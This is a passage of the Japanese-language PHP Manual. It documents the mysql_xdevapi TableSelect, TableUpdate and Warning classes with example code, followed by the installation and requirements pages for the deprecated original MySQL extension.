  • TableSelect::lockShared — SHARED LOCK を実行する
  • TableSelect::offset — スキップするoffsetを設定する
  • TableSelect::orderby — select 文のソート条件を設定する
  • TableSelect::where — select 文の検索条件を設定する

User Contributed Notes

There are no user contributed notes for this page.


select のクエリパラメータをバインドする

  • ≪ mysql_xdevapi\TableSelect
  • TableSelect::__construct ≫
  • PHP Manual
  • mysql_xdevapi\TableSelect
  • select のクエリパラメータをバインドする

TableSelect::bind

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

TableSelect::bind — select のクエリパラメータをバインドする

説明

public mysql_xdevapi\TableSelect::bind ( array $placeholder_values ) : mysql_xdevapi\TableSelect

特定のプレースホルダーの値をバインドします。

パラメータ

placeholder_values

プレースホルダーの名前、およびバインドする値

返り値

TableSelect オブジェクトを返します。

例

例1 mysql_xdevapi\TableSelect::bind() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$schema = $session->getSchema("addressbook");
$table  = $schema->getTable("names");

$result = $table->select('name','age')
  ->where('name like :name and age > :age')
  ->bind(['name' => 'John', 'age' => 42])
  ->execute();

$row = $result->fetchAll();
print_r($row);
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [0] => Array
        (
            [name] => John
            [age] => 42
        )
)

User Contributed Notes

There are no user contributed notes for this page.


TableSelect のコンストラクタ

  • ≪ TableSelect::bind
  • TableSelect::execute ≫
  • PHP Manual
  • mysql_xdevapi\TableSelect
  • TableSelect のコンストラクタ

TableSelect::__construct

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

TableSelect::__construct — TableSelect のコンストラクタ

説明

private mysql_xdevapi\TableSelect::__construct ( )

select() メソッドによって返されるオブジェクトです。 クエリを実行するには execute() を使ってください。

パラメータ

この関数にはパラメータはありません。

例

例1 mysql_xdevapi\TableSelect::__construct() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 33)")->execute();

$schema = $session->getSchema("addressbook");
$table  = $schema->getTable("names");

$result = $table->select('name','age')
  ->where('name like :name and age > :age')
  ->bind(['name' => 'John', 'age' => 42])
  ->orderBy('age desc')
  ->execute();

$row = $result->fetchAll();
print_r($row);

?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [0] => Array
        (
            [name] => John
            [age] => 42
        )
)

User Contributed Notes

There are no user contributed notes for this page.


select ステートメントを実行する

  • ≪ TableSelect::__construct
  • TableSelect::groupBy ≫
  • PHP Manual
  • mysql_xdevapi\TableSelect
  • select ステートメントを実行する

TableSelect::execute

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

TableSelect::execute — select ステートメントを実行する

説明

public mysql_xdevapi\TableSelect::execute ( ) : mysql_xdevapi\RowResult

execute() メソッドとチェインすることで、select ステートメントを実行します。

パラメータ

この関数にはパラメータはありません。

返り値

RowResult オブジェクトを返します。

例

例1 mysql_xdevapi\TableSelect::execute() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$schema = $session->getSchema("addressbook");
$table  = $schema->getTable("names");

$result = $table->select('name','age')
  ->where('name like :name and age > :age')
  ->bind(['name' => 'John', 'age' => 42])
  ->orderBy('age desc')
  ->execute();

$row = $result->fetchAll();
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [0] => Array
        (
            [name] => John
            [age] => 42
        )
)

User Contributed Notes

There are no user contributed notes for this page.


select 時のグループ化の条件を設定する

  • ≪ TableSelect::execute
  • TableSelect::having ≫
  • PHP Manual
  • mysql_xdevapi\TableSelect
  • select 時のグループ化の条件を設定する

TableSelect::groupBy

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

TableSelect::groupBy — select 時のグループ化の条件を設定する

説明

public mysql_xdevapi\TableSelect::groupBy ( mixed $sort_expr ) : mysql_xdevapi\TableSelect

結果セットのグループ化条件を設定します。

パラメータ

sort_expr

グループ化条件

返り値

TableSelect オブジェクトを返します。

例

例1 mysql_xdevapi\TableSelect::groupBy() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 42)")->execute();
$session->sql("INSERT INTO addressbook.names values ('Suki', 31)")->execute();

$schema = $session->getSchema("addressbook");
$table  = $schema->getTable("names");

$result = $table->select('count(*) as count', 'age')
  ->groupBy('age')->orderBy('age asc')
  ->execute();

$row = $result->fetchAll();
print_r($row);
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [0] => Array
        (
            [count] => 1
            [age] => 31
        )
    [1] => Array
        (
            [count] => 2
            [age] => 42
        )
)

User Contributed Notes

There are no user contributed notes for this page.


select 句の having 条件を設定する

  • ≪ TableSelect::groupBy
  • TableSelect::limit ≫
  • PHP Manual
  • mysql_xdevapi\TableSelect
  • select 句の having 条件を設定する

TableSelect::having

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

TableSelect::having — select 句の having 条件を設定する

説明

public mysql_xdevapi\TableSelect::having ( string $sort_expr ) : mysql_xdevapi\TableSelect

集約関数の操作において考慮すべき、レコードの条件を設定します。

パラメータ

sort_expr

グループ化の条件で使われる、集約関数の条件

返り値

TableSelect オブジェクトを返します。

例

例1 mysql_xdevapi\TableSelect::having() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 42)")->execute();
$session->sql("INSERT INTO addressbook.names values ('Suki', 31)")->execute();

$schema = $session->getSchema("addressbook");
$table  = $schema->getTable("names");

$result = $table->select('count(*) as count', 'age')
  ->groupBy('age')->orderBy('age asc')
  ->having('count > 1')
  ->execute();

$row = $result->fetchAll();
print_r($row);
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [0] => Array
        (
            [count] => 2
            [age] => 42
        )
)

User Contributed Notes

There are no user contributed notes for this page.


選択される行の数を限定する

  • ≪ TableSelect::having
  • TableSelect::lockExclusive ≫
  • PHP Manual
  • mysql_xdevapi\TableSelect
  • 選択される行の数を限定する

TableSelect::limit

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

TableSelect::limit — 選択される行の数を限定する

説明

public mysql_xdevapi\TableSelect::limit ( int $rows ) : mysql_xdevapi\TableSelect

返されるレコードまたはドキュメントの数の最大値を設定します。

パラメータ

rows

レコードまたはドキュメントの数の最大値

返り値

TableSelect オブジェクトを返します

例

例1 mysql_xdevapi\TableSelect::limit() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$schema = $session->getSchema("addressbook");
$table  = $schema->getTable("names");

$result = $table->select('name', 'age')
  ->limit(1)
  ->execute();

$row = $result->fetchAll();
print_r($row);
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [0] => Array
        (
            [name] => John
            [age] => 42
        )
)

User Contributed Notes

There are no user contributed notes for this page.


EXCLUSIVE LOCK を実行する

  • ≪ TableSelect::limit
  • TableSelect::lockShared ≫
  • PHP Manual
  • mysql_xdevapi\TableSelect
  • EXCLUSIVE LOCK を実行する

TableSelect::lockExclusive

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

TableSelect::lockExclusive — EXCLUSIVE LOCK を実行する

説明

public mysql_xdevapi\TableSelect::lockExclusive ( int $lock_waiting_option = ? ) : mysql_xdevapi\TableSelect

EXCLUSIVE LOCK 付きで読み取り操作を実行します。 一度にアクティブになれるロックはひとつだけです。

パラメータ

lock_waiting_option

オプションで指定できる、ロック待ちのオプション。 デフォルトは MYSQLX_LOCK_DEFAULT です。 有効な値は以下のとおりです:

  • MYSQLX_LOCK_DEFAULT

  • MYSQLX_LOCK_NOWAIT

  • MYSQLX_LOCK_SKIP_LOCKED

返り値

TableSelect オブジェクトを返します。

例

例1 mysql_xdevapi\TableSelect::lockExclusive() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$schema = $session->getSchema("addressbook");
$table  = $schema->getTable("names");

$session->startTransaction();

$result = $table->select('name', 'age')
  ->lockExclusive(MYSQLX_LOCK_NOWAIT)
  ->execute();

$session->commit();

$row = $result->fetchAll();
print_r($row);
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [0] => Array
        (
            [name] => John
            [age] => 42
        )
    [1] => Array
        (
            [name] => Sam
            [age] => 42
        )
)

User Contributed Notes

There are no user contributed notes for this page.


SHARED LOCK を実行する

  • ≪ TableSelect::lockExclusive
  • TableSelect::offset ≫
  • PHP Manual
  • mysql_xdevapi\TableSelect
  • SHARED LOCK を実行する

TableSelect::lockShared

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

TableSelect::lockShared — SHARED LOCK を実行する

説明

public mysql_xdevapi\TableSelect::lockShared ( int $lock_waiting_option = ? ) : mysql_xdevapi\TableSelect

読み取り操作を SHARED LOCK 付きで実行します。 アクティブになれるロックは一度にひとつだけです。

パラメータ

lock_waiting_option

オプションで指定できる、ロック待ちのオプション。 デフォルトは MYSQLX_LOCK_DEFAULT です。 有効な値は以下のとおりです:

  • MYSQLX_LOCK_DEFAULT

  • MYSQLX_LOCK_NOWAIT

  • MYSQLX_LOCK_SKIP_LOCKED

返り値

TableSelect オブジェクトを返します。

例

例1 mysql_xdevapi\TableSelect::lockShared() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$schema = $session->getSchema("addressbook");
$table  = $schema->getTable("names");

$session->startTransaction();

$result = $table->select('name', 'age')
  ->lockShared(MYSQLX_LOCK_NOWAIT)
  ->execute();

$session->commit();

$row = $result->fetchAll();
print_r($row);
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [0] => Array
        (
            [name] => John
            [age] => 42
        )
    [1] => Array
        (
            [name] => Sam
            [age] => 42
        )
)

User Contributed Notes

There are no user contributed notes for this page.


スキップするoffsetを設定する

  • ≪ TableSelect::lockShared
  • TableSelect::orderby ≫
  • PHP Manual
  • mysql_xdevapi\TableSelect
  • スキップするoffsetを設定する

TableSelect::offset

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

TableSelect::offset — スキップするoffsetを設定する

説明

public mysql_xdevapi\TableSelect::offset ( int $position ) : mysql_xdevapi\TableSelect

結果セットの行を、与えられた数だけスキップします

パラメータ

position

スキップするオフセットの数

返り値

TableSelect オブジェクトを返します。

例

例1 mysql_xdevapi\TableSelect::offset() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();
$session->sql("CREATE TABLE addressbook.names(name text, age int)")->execute();
$session->sql("INSERT INTO addressbook.names values ('John', 42), ('Sam', 42)")->execute();

$schema = $session->getSchema("addressbook");
$table  = $schema->getTable("names");

$result = $table->select('name', 'age')
  ->limit(1)
  ->offset(1)
  ->execute();

$row = $result->fetchAll();
print_r($row);
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [0] => Array
        (
            [name] => Sam
            [age] => 42
        )
)

User Contributed Notes

There are no user contributed notes for this page.


select 文のソート条件を設定する

  • ≪ TableSelect::offset
  • TableSelect::where ≫
  • PHP Manual
  • mysql_xdevapi\TableSelect
  • select 文のソート条件を設定する

TableSelect::orderby

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

TableSelect::orderby — select 文のソート条件を設定する

説明

public mysql_xdevapi\TableSelect::orderby ( mixed $sort_expr , mixed ...$sort_exprs ) : mysql_xdevapi\TableSelect

ソート順の条件を設定します。

パラメータ

sort_expr

ソート順の条件を定義した式。 単一の文字列化、ひとつ以上の式を持つ配列。

sort_exprs

追加の sort_expr パラメータ

返り値

TableSelect オブジェクトを返します。

例

例1 mysql_xdevapi\TableSelect::orderBy() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$schema = $session->getSchema("addressbook");
$table  = $schema->getTable("names");

$result = $table->select('name', 'age')
  ->orderBy('name desc')
  ->execute();

$row = $result->fetchAll();
print_r($row);
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [0] => Array
        (
            [name] => Sam
            [age] => 42
        )
    [1] => Array
        (
            [name] => John
            [age] => 42
        )
)

User Contributed Notes

There are no user contributed notes for this page.


select 文の検索条件を設定する

  • ≪ TableSelect::orderby
  • mysql_xdevapi\TableUpdate ≫
  • PHP Manual
  • mysql_xdevapi\TableSelect
  • select 文の検索条件を設定する

TableSelect::where

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

TableSelect::where — select 文の検索条件を設定する

説明

public mysql_xdevapi\TableSelect::where ( string $where_expr ) : mysql_xdevapi\TableSelect

フィルタのための検索条件を設定します。

パラメータ

where_expr

ドキュメントまたはレコードをフィルタするための検索条件

返り値

TableSelect オブジェクトを返します。

例

例1 mysql_xdevapi\TableSelect::where() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$schema = $session->getSchema("addressbook");
$table  = $schema->getTable("names");

$result = $table->select('name','age')
  ->where('name like :name and age > :age')
  ->bind(['name' => 'John', 'age' => 42])
  ->execute();

$row = $result->fetchAll();
print_r($row);
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [0] => Array
        (
            [name] => John
            [age] => 42
        )
)

User Contributed Notes

There are no user contributed notes for this page.


TableUpdate クラス

(PECL mysql-xdevapi >= 8.0.11)

はじめに

テーブル上のレコードを更新する操作を行うステートメントです。

クラス概要

mysql_xdevapi\TableUpdate implements mysql_xdevapi\Executable {
/* メソッド */
public bind ( array $placeholder_values ) : mysql_xdevapi\TableUpdate
public execute ( ) : mysql_xdevapi\TableUpdate
public limit ( int $rows ) : mysql_xdevapi\TableUpdate
public orderby ( mixed $orderby_expr , mixed ...$orderby_exprs ) : mysql_xdevapi\TableUpdate
public set ( string $table_field , string $expression_or_literal ) : mysql_xdevapi\TableUpdate
public where ( string $where_expr ) : mysql_xdevapi\TableUpdate
}

目次

  • TableUpdate::bind — update のクエリパラメータをバインドする
  • TableUpdate::__construct — TableUpdate のコンストラクタ
  • TableUpdate::execute — update クエリを実行する
  • TableUpdate::limit — 更新する行の数を限定する
  • TableUpdate::orderby — ソート条件を設定する
  • TableUpdate::set — 更新されるフィールドを追加する
  • TableUpdate::where — 検索フィルタを設定する

User Contributed Notes

There are no user contributed notes for this page.


update のクエリパラメータをバインドする

  • ≪ mysql_xdevapi\TableUpdate
  • TableUpdate::__construct ≫
  • PHP Manual
  • mysql_xdevapi\TableUpdate
  • update のクエリパラメータをバインドする

TableUpdate::bind

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

TableUpdate::bind — update のクエリパラメータをバインドする

説明

public mysql_xdevapi\TableUpdate::bind ( array $placeholder_values ) : mysql_xdevapi\TableUpdate

特定のプレースホルダーの値をバインドします。

パラメータ

placeholder_values

プレースホルダーの名前、およびバインドする値です。 JSON の配列として定義されます。

返り値

TableUpdate オブジェクトを返します。

例

例1 mysql_xdevapi\TableUpdate::bind() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$schema = $session->getSchema("addressbook");
$table  = $schema->getTable("names");

$table->update()
  ->set('status', 'admin')
  ->where('name = :name and age > :age')
  ->bind(['name' => 'Bernie', 'age' => 2000])
  ->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


TableUpdate のコンストラクタ

  • ≪ TableUpdate::bind
  • TableUpdate::execute ≫
  • PHP Manual
  • mysql_xdevapi\TableUpdate
  • TableUpdate のコンストラクタ

TableUpdate::__construct

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

TableUpdate::__construct — TableUpdate のコンストラクタ

説明

private mysql_xdevapi\TableUpdate::__construct ( )

update() メソッドを使ってインスタンス化されます。

パラメータ

この関数にはパラメータはありません。

例

例1 mysql_xdevapi\TableUpdate::__construct() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$schema = $session->getSchema("addressbook");
$table  = $schema->getTable("names");

$res = $table->update()
  ->set('level', 3)
  ->where('age > 15 and age < 22')
  ->limit(4)
  ->orderby(['age asc','name desc'])
  ->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


update クエリを実行する

  • ≪ TableUpdate::__construct
  • TableUpdate::limit ≫
  • PHP Manual
  • mysql_xdevapi\TableUpdate
  • update クエリを実行する

TableUpdate::execute

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

TableUpdate::execute — update クエリを実行する

説明

public mysql_xdevapi\TableUpdate::execute ( ) : mysql_xdevapi\TableUpdate

update 文を実行します。

パラメータ

この関数にはパラメータはありません。

返り値

TableUpdate オブジェクトを返します。

例

例1 mysql_xdevapi\TableUpdate::execute() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$schema = $session->getSchema("addressbook");
$table  = $schema->getTable("names");

$res = $table->update()
  ->set('level', 3)
  ->where('age > 15 and age < 22')
  ->limit(4)
  ->orderby(['age asc','name desc'])
  ->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


更新する行の数を限定する

  • ≪ TableUpdate::execute
  • TableUpdate::orderby ≫
  • PHP Manual
  • mysql_xdevapi\TableUpdate
  • 更新する行の数を限定する

TableUpdate::limit

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

TableUpdate::limit — 更新する行の数を限定する

説明

public mysql_xdevapi\TableUpdate::limit ( int $rows ) : mysql_xdevapi\TableUpdate

更新するレコードまたはドキュメントの数の最大値を設定します。

パラメータ

rows

更新するレコードまたはドキュメントの数の最大値

返り値

TableUpdate オブジェクトを返します

例

例1 mysql_xdevapi\TableUpdate::limit() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$schema = $session->getSchema("addressbook");
$table  = $schema->getTable("names");

$res = $table->update()
  ->set('level', 3)
  ->where('age > 15 and age < 22')
  ->limit(4)
  ->orderby(['age asc','name desc'])
  ->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


ソート条件を設定する

  • ≪ TableUpdate::limit
  • TableUpdate::set ≫
  • PHP Manual
  • mysql_xdevapi\TableUpdate
  • ソート条件を設定する

TableUpdate::orderby

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

TableUpdate::orderby — ソート条件を設定する

説明

public mysql_xdevapi\TableUpdate::orderby ( mixed $orderby_expr , mixed ...$orderby_exprs ) : mysql_xdevapi\TableUpdate

ソート条件を設定します。

パラメータ

orderby_expr

ソート条件を定義する式。 ひとつまたはそれ以上の式の配列、または文字列。

orderby_exprs

追加のソート条件のパラメータ

返り値

TableUpdate オブジェクトを返します。

例

例1 mysql_xdevapi\TableUpdate::orderby() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$schema = $session->getSchema("addressbook");
$table  = $schema->getTable("names");

$res = $table->update()
  ->set('level', 3)
  ->where('age > 15 and age < 22')
  ->limit(4)
  ->orderby(['age asc','name desc'])
  ->execute();
?>

User Contributed Notes

There are no user contributed notes for this page.


更新されるフィールドを追加する

  • ≪ TableUpdate::orderby
  • TableUpdate::where ≫
  • PHP Manual
  • mysql_xdevapi\TableUpdate
  • 更新されるフィールドを追加する

TableUpdate::set

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

TableUpdate::set — 更新されるフィールドを追加する

説明

public mysql_xdevapi\TableUpdate::set ( string $table_field , string $expression_or_literal ) : mysql_xdevapi\TableUpdate

テーブルのレコード上のカラムの値を更新します。

パラメータ

table_field

更新されるカラム名

expression_or_literal

指定されたカラムに設定する値

返り値

TableUpdate オブジェクトを返します。

例

例1 mysql_xdevapi\TableUpdate::set() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$schema = $session->getSchema("addressbook");
$table  = $schema->getTable("names");

$res = $table->update()
  ->set('level', 3)
  ->where('age > 15 and age < 22')
  ->limit(4)
  ->orderby(['age asc','name desc'])
  ->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


検索フィルタを設定する

  • ≪ TableUpdate::set
  • mysql_xdevapi\Warning ≫
  • PHP Manual
  • mysql_xdevapi\TableUpdate
  • 検索フィルタを設定する

TableUpdate::where

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

TableUpdate::where — 検索フィルタを設定する

説明

public mysql_xdevapi\TableUpdate::where ( string $where_expr ) : mysql_xdevapi\TableUpdate

フィルタのための検索条件を設定します。

パラメータ

where_expr

ドキュメントまたはレコードをフィルタする検索条件

返り値

TableUpdate オブジェクトを返します。

例

例1 mysql_xdevapi\TableUpdate::where() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$schema = $session->getSchema("addressbook");
$table  = $schema->getTable("names");

$res = $table->update()
  ->set('level', 3)
  ->where('age > 15 and age < 22')
  ->limit(4)
  ->orderby(['age asc','name desc'])
  ->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


Warning クラス

(PECL mysql-xdevapi >= 8.0.11)

はじめに

クラス概要

mysql_xdevapi\Warning {
/* プロパティ */
public $message ;
public $level ;
public $code ;
/* Constructor */
private __construct ( )
}

プロパティ

message

level

code

目次

  • Warning::__construct — Warning のコンストラクタ

User Contributed Notes

There are no user contributed notes for this page.


Warning のコンストラクタ

  • ≪ mysql_xdevapi\Warning
  • MySQL (最初の API) ≫
  • PHP Manual
  • mysql_xdevapi\Warning
  • Warning のコンストラクタ

Warning::__construct

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Warning::__construct — Warning のコンストラクタ

説明

private mysql_xdevapi\Warning::__construct ( )

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

例

例1 mysql_xdevapi\Warning::__construct() の例

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


最初の MySQL API

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 変更履歴
  • 定義済み定数
  • 例
    • MySQL 拡張モジュールの概要を示す例
  • MySQL 関数
    • mysql_affected_rows — 一番最近の操作で変更された行の数を得る
    • mysql_client_encoding — 文字セット名を返す
    • mysql_close — MySQL 接続を閉じる
    • mysql_connect — MySQL サーバーへの接続をオープンする
    • mysql_create_db — MySQL データベースを作成する
    • mysql_data_seek — 内部的な結果ポインタを移動する
    • mysql_db_name — mysql_list_dbs のコール結果からデータベース名を取得する
    • mysql_db_query — データベースを選択し、そこでクエリーを実行する
    • mysql_drop_db — MySQLデータベースを破棄(削除)する
    • mysql_errno — 直近の MySQL 処理からエラーメッセージのエラー番号を返す
    • mysql_error — 直近に実行された MySQL 操作のエラーメッセージを返す
    • mysql_escape_string — mysql_query で使用するために文字列をエスケープする
    • mysql_fetch_array — 連想配列、添字配列、またはその両方として結果の行を取得する
    • mysql_fetch_assoc — 連想配列として結果の行を取得する
    • mysql_fetch_field — 結果からカラム情報を取得し、オブジェクトとして返す
    • mysql_fetch_lengths — 結果における各出力の長さを得る
    • mysql_fetch_object — 結果の行をオブジェクトとして取得する
    • mysql_fetch_row — 結果を添字配列として取得する
    • mysql_field_flags — 結果において指定したフィールドのフラグを取得する
    • mysql_field_len — 指定したフィールドの長さを返す
    • mysql_field_name — 結果において指定したフィールド名を取得する
    • mysql_field_seek — 結果ポインタを指定したフィールドオフセットにセットする
    • mysql_field_table — 指定したフィールドが含まれるテーブルの名前を取得する
    • mysql_field_type — 結果において指定したフィールドの型を取得する
    • mysql_free_result — 結果保持用メモリを開放する
    • mysql_get_client_info — MySQL クライアント情報を取得する
    • mysql_get_host_info — MySQL ホスト情報を取得する
    • mysql_get_proto_info — MySQL プロトコル情報を取得する
    • mysql_get_server_info — MySQL サーバー情報を取得する
    • mysql_info — 直近のクエリについての情報を得る
    • mysql_insert_id — 直近のクエリで生成された ID を得る
    • mysql_list_dbs — MySQL サーバー上で利用可能なデータベースのリストを得る
    • mysql_list_fields — MySQL テーブルのフィールドのリストを得る
    • mysql_list_processes — MySQL プロセスのリストを得る
    • mysql_list_tables — MySQL データベース上のテーブルのリストを得る
    • mysql_num_fields — 結果におけるフィールドの数を得る
    • mysql_num_rows — 結果における行の数を得る
    • mysql_pconnect — MySQL サーバーへの持続的な接続をオープンする
    • mysql_ping — サーバーとの接続状況を調べ、接続されていない場合は再接続する
    • mysql_query — MySQL クエリを送信する
    • mysql_real_escape_string — SQL 文中で用いる文字列の特殊文字をエスケープする
    • mysql_result — 結果データを得る
    • mysql_select_db — MySQL データベースを選択する
    • mysql_set_charset — クライアントの文字セットを設定する
    • mysql_stat — 現在のシステムの状態を取得する
    • mysql_tablename — フィールドのテーブル名を得る
    • mysql_thread_id — カレントのスレッド ID を返す
    • mysql_unbuffered_query — MySQL に SQL クエリを送信するが、結果に対してのフェッチやバッファリングは行わない

User Contributed Notes

Anonymous 31-May-2019 08:16
Just be aware that in php 7.x has been removed this section of mysql_xxx and you must use the mysqli_xxx version (or the PDO version).


はじめに

この拡張モジュールは PHP 5.5.0 で非推奨になり、PHP 7.0.0 で削除されました。 新しくコードを書くときには mysqli や PDO_MySQL を使うべきです。 MySQL API Overview が、MySQL API を選択する際の参考となります。

以下の関数は、MySQL データベースサーバーへのアクセスを可能にします。 MySQL に関するより詳細な情報は、 » http://www.mysql.com/ にあります。

MySQL のドキュメントは、» http://dev.mysql.com/doc/にあります。

User Contributed Notes

There are no user contributed notes for this page.


要件

以下の関数を利用可能とするには、MySQL サポートを指定して PHP を コンパイルする必要があります。

警告

この拡張モジュールは PHP 5.5.0 で非推奨になり、PHP 7.0.0 で削除されました。 MySQLi あるいは PDO_MySQL を使うべきです。詳細な情報は MySQL: API の選択 や それに関連する FAQ を参照ください。 この関数の代替として、これらが使えます。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

警告

この拡張モジュールは PHP 5.5.0 で非推奨になり、PHP 7.0.0 で削除されました。 MySQLi あるいは PDO_MySQL を使うべきです。詳細な情報は MySQL: API の選択 や それに関連する FAQ を参照ください。 この関数の代替として、これらが使えます。

コンパイルするには、単純に --with-mysql[=DIR] 設定オプションを利用してください。ここで、オプションの [DIR] は MySQL がインストールされているディレクトリを表します。

この MySQL 拡張モジュールは MySQL 4.1.0 以降とも互換性がありますが、 それ以降のバージョンが提供する新機能はサポートしていません。 この機能を使用するには、 MySQLi 拡張モジュールを使用してください。

もし mysql 拡張モジュールと mysqli 拡張モジュールを同時にインストールしたい場合は、 衝突を避けるために両方で同じクライアントライブラリを用いる必要があります。

Linux へのインストール

注意: [DIR] は MySQL クライアントライブラリファイル (ヘッダやライブラリファイル) へのパスです。 これらのファイルは » MySQL からダウンロードできます。

ext/mysql のコンパイル時のサポート表
PHP バージョン | デフォルト | 設定オプション: mysqlnd | 設定オプション: libmysqlclient | 変更履歴
4.x.x | libmysqlclient | 利用できません | --without-mysql で無効化 | MySQL はデフォルトで有効になります。MySQL クライアントライブラリも同梱されています。
5.0.x, 5.1.x, 5.2.x | libmysqlclient | 利用できません | --with-mysql=[DIR] | MySQL はデフォルトでは有効にならなくなりました。また、MySQL クライアントライブラリも同梱されなくなりました。
5.3.x | libmysqlclient | --with-mysql=mysqlnd | --with-mysql=[DIR] | mysqlnd が使えるようになりました。
5.4.x | mysqlnd | --with-mysql | --with-mysql=[DIR] | mysqlnd がデフォルトになりました。

Windows へのインストール

PHP 5.0.x, 5.1.x, 5.2.x

MySQL はもはやデフォルトでは有効となりません。したがって php.ini で php_mysql.dll DLL を有効にしておく必要があります。 また、PHP が MySQL クライアントライブラリにアクセスできなければなりません。 libmysqlclient.dll というファイルが Windows 版の PHP 配布ファイルに含まれており、PHP が MySQL と話すためにはこのファイルが Windows の PATH にある必要があります。そのための方法については、 "Windows で PHP のディレクトリを PATH に追加するにはどうすればいいのですか?" という FAQ を参照してください。 libmysqlclient.dll を Windows のシステムディレクトリにコピーしても動作しますが (システムディレクトリは、デフォルトでシステムの PATH に含まれています)、お勧めしません。

(php_mysql.dll も含めた) PHP 拡張モジュールを有効にするには、PHP ディレクティブ extension_dir に拡張モジュールの存在する場所を設定するべきです。 Windows へのマニュアルインストール方法 も参照してください。PHP 5 での extension_dir の例は c:\php\ext です。

注意:

Web サーバーの起動時に以下のようなエラーが発生する場合： "Unable to load dynamic library './php_mysql.dll'" これは php_mysql.dll や libmysqlclient.dll がシステムによって見つけられなかったことが原因です。

PHP 5.3.0+

MySQL Native Driver がデフォルトで有効になります。 php_mysql.dll は含まれますが、libmysqlclient.dll はもはや必須ではなく、使われません。

MySQL インストールの注意

警告

この拡張モジュールと recode 拡張モジュールを同時にロードした場合、 PHP のクラッシュと起動に関する問題が発生する可能性があります。 より詳細な情報については、recode 拡張モジュールを参照してください。

注意:

latin（デフォルト）以外の文字セットを必要とする場合、 使用する文字セットのサポートを有効にしてコンパイルした（バンドル版でない） libmysqlclient をインストールする必要があります。

User Contributed Notes

mail dot umlcat at gee mail dot com 11-Dec-2012 07:28
Could not install mysql, on windows, had several conflicts or bugs.

In order to solve it:

* Used the "libmysql.dll" provided by PHP zip files, not the one that comes with Mysql, the mysql file had to be moved or deleted from its folder. Put it on the "apache/bin" folder, altought some use it in "windows" folder.

* Originally, moved "*mysql*.dll" files from its extension folder, and returned back.

* enabled mysql driver extensions in the "php.ini" file, but also enabled some extensions, that seemed not to be required, but, it did, like "php_openssl.dll" or "php_pdo.dll" on an early version of php.

